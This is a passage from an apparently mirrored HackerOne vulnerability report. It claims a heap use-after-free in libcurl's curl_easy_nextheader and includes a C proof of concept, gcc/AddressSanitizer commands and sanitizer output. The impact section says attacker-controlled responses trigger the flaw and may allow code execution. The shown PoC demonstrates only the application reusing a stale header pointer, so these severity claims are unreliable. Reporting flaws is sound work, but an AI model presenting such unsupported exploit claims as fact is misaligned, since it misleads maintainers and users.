HACKERONE

curl: Use-After-Free in curl_easy_nextheader when reusing header handle across requests_H1:3508701

Description

).
The API returns struct curl_header objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL* handle, libcurl frees and rebuilds the internal header list, but previously returned struct curl_header objects remain valid to the application and are still accepted as input.

Passing such a stale header object back to curl_easy_nextheader() causes libcurl to dereference a freed internal pointer, leading to a heap use-after-free.

This is a memory safety vulnerability reachable through normal API usage and attacker-controlled HTTP responses.

Affected Versions

All libcurl versions that include the Headers API (curl_easy_header, curl_easy_nextheader)

Reproduced on:

Kali Linux libcurl (January 2026)

Likely all current supported versions

File:
lib/headers.c

Technical Analysis
Vulnerable Design

curl_easy_nextheader() exposes struct curl_header to the application:

struct curl_header {
const char *name;
const char *value;
unsigned int amount;
unsigned int index;
unsigned int origin;
void *anchor; /* internal Curl_llist_node */
};


The anchor field stores a pointer to libcurl’s internal linked list node:

copy_header_external(..., struct Curl_llist_node *e, ...) {
h->anchor = e;
}


Later, when a new request is performed, libcurl frees the internal header list:

Curl_headers_cleanup(struct Curl_easy *data) {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
struct Curl_header_store *hs = Curl_node_elem(e);
curlx_free(hs);
}
}


However, previously returned struct curl_header objects remain valid in user code and can still be passed back to:

curl_easy_nextheader(CURL *easy, unsigned int type, int request,
struct curl_header *prev)


This function blindly dereferences:

pick = prev->anchor;
pick = Curl_node_next(pick);


If the header list has been freed and rebuilt, prev->anchor now points to freed heap memory → use-after-free.

There is:

No invalidation of old struct curl_header

No generation tracking

No lifetime enforcement

The API contract does not state that header handles become invalid after a new request.

Proof of Concept
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
CURL *curl = curl_easy_init();
if(!curl) return 1;

struct curl_header *h = NULL;

/* First request */
curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_perform(curl);

/* Obtain and store a header */
h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
printf("saved header: %s: %s\n", h->name, h->value);

/* Second request (frees and rebuilds internal header list) */
curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
curl_easy_perform(curl);

/* Reuse stale header handle */
printf("calling nextheader with stale prev...\n");
struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
if(h2)
printf("next header: %s: %s\n", h2->name, h2->value);

curl_easy_cleanup(curl);
return 0;
}

Build and Run
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc

ASAN Output (Excerpt)
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
libcurl.so Curl_headers_cleanup
allocated by:
libcurl.so Curl_headers_push


This confirms that curl_easy_nextheader() dereferences freed memory.

## Impact

Security Impact

A malicious HTTP server can influence response headers and trigger a heap use-after-free in applications using libcurl’s Headers API when multiple requests are performed on the same CURL* handle.

This can lead to:

Process crash (Denial of Service)

Heap memory corruption

Potential code execution depending on allocator state and surrounding memory

The vulnerability:

Is reachable through documented public API

Is triggered by attacker-controlled HTTP responses

Does not require MITM
Visit Original Source

Basic Information

ID H1:3508701
Published Jan 13, 2026 at 11:39
Modified Jan 14, 2026 at 09:23

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.